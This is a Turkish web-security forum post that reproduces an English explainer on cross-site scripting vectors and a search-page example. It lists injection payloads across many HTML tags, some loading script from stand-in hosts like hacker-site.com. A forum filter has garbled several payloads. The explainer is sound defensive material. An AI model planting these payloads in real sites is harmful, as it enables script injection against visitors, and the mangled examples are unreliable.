Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.


XSS İle Ne Yapilabilir // İngilizce

14-09-2011 18:37
Margu - ait Kullanıcı Resmi (Avatar)
Üyelik tarihi:
Teşekkür (Etti):
Teşekkür (Aldı):
(0) %
SS Attack Vectors

So how does a hacker infect your web page in the first place? You might think, that for an attacker to make changes to your web page he must first break the security of the web server and be able to upload and modify files on that server. Unfortunately for you an XSS attack is much easier than that.

Internet applications today are not static HTML pages. They are dynamic and filled with ever changing content. Modern web pages pull data from many different sources. This data is amalgamated with your own web page and can contain simple text, or images, and can also contain HTML tags such as <p> for paragraph, <img> for image and ********** for scripts. Many times the hacker will use the ‘comments’ feature of your web page to insert a comment that contains a script. Every user who views that comment will download the script which will execute on his browser, causing undesirable behaviour. Something as simple as a Facebook post on your wall can contain a malicious script, which if not filtered by the Facebook servers will be injected into your Wall and execute on the browser of every person who visits your Facebook profile.

By now you should be aware that any sort of data that can land on your web page from an external source has the potential of being infected with a malicious script, but in what form does the data come?


The ********** tag is the most popular way and sometimes easiest to detect. It can arrive to your page in the following forms:

External script:

<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>

Embedded script:

********** alert(“XSS”); </SCRIPT>


The <BODY> tag can contain an embedded script by using the ONLOAD event, as shown below:

<BODY ONLOAD=alert("XSS")>

The BACKGROUND attribute can be similarly exploited:

<BODY BACKGROUND="javascript*alert ZararliKod*’XSS’)">


Some browsers will execute a script when found in the <IMG> tag as shown here:

<IMG src= "javascript*alert ZararliKod*’XSS’);">

There are some variations of this that work in some browsers:

<IMG DYNsrc= "javascript*alert ZararliKod*’XSS’)">
<IMG LOWsrc= "javascript*alert ZararliKod*’XSS’)">


The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.

<IFRAME Yasak Kelime#8221;http://hacker-site.com/xss.html”>


If the TYPE attribute of the <INPUT> tag is set to “IMAGE”, it can be manipulated to embed a script:

<INPUT TYPE="IMAGE" src= "javascript*alert ZararliKod*’XSS’);">


The <LINK> tag, which is often used to link to external style sheets could contain a script:

<LINK REL="stylesheet" href= "javascript*alert ZararliKod*’XSS’);">


The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:

<TABLE BACKGROUND="javascript*alert ZararliKod*’XSS’)">

The same applies to the <TD> tag, used to separate cells inside a table:

<TD BACKGROUND="javascript*alert ZararliKod*’XSS’)">


The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:

<DIV STYLE="background-image: url(javascript*alert ZararliKod*’XSS’))">

The <DIV> STYLE attribute can also be manipulated in the following way:

<DIV STYLE="width: expression(alert(’XSS’));">


The <OBJECT> tag can be used to pull in a script from an external site in the following way:

<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">


If the hacker places a malicious script inside a flash file, it can be injected in the following way:

<EMBED src= "http://hacker.com/xss.swf" AllowScriptAccess="always">
Is your site vulnerable to Cross Site Scripting?

Our experience leads us to conclude that the cross-site scripting vulnerability is one of the most highly widespread flaw on the Internet and will occur anywhere a web application uses input from a user in the output it generates without validating it. Our own research shows that over a third of the organizations applying for our free audit service are vulnerable to Cross Site Scripting. And the trend is upward.
Example of a Cross Site Scripting Attack

As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text you are looking for.

Search Results for "XSS Vulnerability"

To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the URL would look like:

search engine


Next we try to send the following query to the search engine:

<script type="text/javascript"> alert (’This is an XSS Vulnerability’) </script>

By submitting the query to search.php, it is encoded and the resulting URL would be something like:


Ealert%28%91This%20is%20an%20XSS%20Vulnerability%9 2%2


Upon loading the results page, the test search engine would probably display no results for the search but it will display a JavaScript alert which was injected into the page by using the XSS vulnerability.


« Önceki Konu | Sonraki Konu »

Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı